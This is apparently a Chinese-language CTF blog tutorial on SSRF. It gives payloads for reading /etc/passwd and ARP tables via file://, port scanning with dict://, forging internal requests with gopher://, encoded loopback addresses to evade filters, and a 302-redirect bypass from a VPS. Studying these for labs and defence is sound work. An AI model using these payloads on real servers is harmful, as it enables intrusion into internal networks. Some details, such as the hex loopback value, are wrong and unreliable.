前置知识 NAT技术(建议自学,看我的肯定学不会)
之前在准备华为ICT大赛的时候学习过NAT技术,还专门配了网络拓扑图(bushi)
今天就当作是复习,顺便为未来的小登开一条路
NAT
NAT即网络地址转换,通过将一个外部IP地址和端口映射到更大的内部IP地址集来转换IP地址
说人话就是,因为只有公网能上www,但是ipv4地址是有限的,所以统一发配一个公网地址给一堆机器,使这一堆机器都可以上www
漏洞原理
攻击的目标:
从外网无法访问的内部系统形成的原因:
大部分是由于服务端提供了从其他服务器要用获取数据的功能,并且没有对目标地址做过滤与限制
例如:从指定url地址获取网页文本内容,加载指定地址的图片并下载,百度识图然后给出一串url就能识别出图片
- 攻击方式:
借助主机A来发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息
伪协议
- file:// 从文件系统中获取文件内容(读hosts获取内网ip,扫描后读arp获取内网存活主机 )
- dict:// 字典服务协议,访问字典资源(可以判断端口是否开启)
- ftp:// 可以用于网络端口扫描
- sftp:// ssh文件传输协议或者安全文件传输协议
- idap:// 轻量级目录访问协议
- tftp:// 简单文件传输协议
- gopher:// 分布式文档传递服务
信息收集之file伪协议
查找内网存活主机
file:// 从文件系统中获取文件内容,格式为file://[文件路径]
1 | file:///etc/passwd # 读取文件passwd |
1 | file:///proc/net/arp |
这个必须要我们先用ssrf访问了内网的某网段之后才会被记录到这里面
因为arp是工作在两台主机事先通讯了的情况下
所以我们一般先用脚本暴力打一遍所有的内网网段,然后再去访问arp,即可得到存活的内网其他主机
信息收集之dict伪协议
查找内网主机开放端口
格式
1 | dict://+ip:端口+/TCP/IP数据 |
- ftp:// 效率相对低
- dict:// 效率相对较高
扫描速度快,可以根据页面响应的内容大小来区分哪些端口是正常打开的,哪些端口没开的
信息收集之http伪协议
进行路径爆破
http://是常规url形式,允许通过HTTP 1.0 的GET方法,以只读的新式访问文件或者资源, 通常用于远程包含
信息收集之gopher伪协议
利用范围较广:GET提交,POST提交,redis,Fastcgi,sql
- 基本格式
1 | gopher://<host>:<port>/<gopher-path> |
web也需要加端口号80
因为gopher协议默认端口号为70
- 小特性
当我们在发送端发送
1 | curl gopher://127.0.0.1:7777/abcd |
并且在接受端开监听
那么接受端会接收到bcd
所以说gopher请求不转发第一个字符
因此我们在提交gopher的时候都要在第一位提交填充位
1 | curl gopher://127.0.0.1:7777/_abcd |
这样子我们才能让接受端完整的接收到我们想传的abcd
exp:gopher伪协议如何发起GET提交和POST提交
GET提交
我们可以用bp抓包,得到包的头部信息
1 | GET / HTTP/1.1 |
注意上面的空的一行是必须的
接下来我们把这个进行修改,然后添加在gopher伪协议的后面,也就是那个TCP数据流
具体的构造是需要根据题目来说的
1 | GET /name.php?name=kwansh HTTP/1.1 |
然后添加在我们的gopher伪协议后面
1 | gopher://172.250.250.4:80/_GET /name.php?name=kwansh HTTP/1.1 |
没错,这样子整好之后就可以拿去burpsuit进行发包了,记得要对_GET /name.php?name=kwansh HTTP/1.1
Host: 172.250.250.4
进行两次url编码(ssrf入口解码一次,ssrf内网机又解码一次)
要是想直接从入口机打入payload,则需要进行一次url编码
将我们构造的payload中的部分符号进行url编码
1 | 空格: %20 |
但是一般情况下还是推荐使用burpsuit,抓包之后直接把我们的payload打上去,接下来我拿个靶机做个实验
1 | POST /ssrf.php HTTP/1.1 |
大概就是这么打的
注意点就是
- 问号?需要转为url编码,也就是%3f
- 回车换行要变为%0d%0a
- 在http包的最后要加%0d%0a,代表消息结束
- url编码改为大写没注意英文冒号
- 如果使用burpsuit,要记得两次url编码
- GET提交最后要增加一个换行符
但是GET提交为什么要做的这么麻烦呢,http伪协议就可以直接拼接get参数,完全没有gopher的用武之地,所以gopher在ssrf入口机对内网机进行POST提交的时候最常用
POST提交
POST提交需要保留的头部信息更多
- POST /…..
- Host:
- Content-Type:
- Content-Length:
这些就自己去了解,这么简单,还想着白嫖?
SSRF之回环地址
在某些赛题(不指名道姓)中,会出现限制访问本地网站内容的情况
1 | $_SEVER['REMOTE_ADD']=='127.0.0.1' |
看到地址是127.0.0.1才会回显出需要读取的内容,但是直接输入127.0.0.1又会被ban,所以我们需要做一些变形
变形
- 点分十进制(最常见)
1 | 127.0.0.1 |
- 32位bit二进制
1 | 0b01111111000000000000000000000001 |
- 八进制
1 | 017700000001 |
- 16进制
1 | 0x17700000001 |
- 十进制(连续)
1 | 2130706433 |
SSRF之302重定向绕过IP限制
肯定有人遇到过的,肯定的,就是针对私网地址杯限制的情况,这个时候我们要使用302重定向
附上图表其实更好理解
很清晰了吧,攻击机直接通过ssrf入口机访问内网ip被ban,所以在公网服务器上开了一个服务,然后通过ssrf入口机访问那个服务,那个服务又可以通过302重定向访问到内网ip
vps上挂在一个简单的重定向一句话,例如
1 | cat index.php |
然后秒启动服务(挂载起来)
1 | php -S 0.0.0.0:7777 |
最后在ssrf入口机直接访问即可
1 | http://38.55.99.185:7777/index.php |
SSRF之dns重绑定绕过
上面的方法都失效之后就可以使用dns重绑定攻击
由于国内厂商的ttl机制(最短时间1分钟),反正我是复现不了,有兴趣的查查博客学学这种姿势
可以用rbndr这个项目来实现dns重绑定绕过
https://github.com/taviso/rbndr
https://lock.cmpxchg8b.com/rebinder.html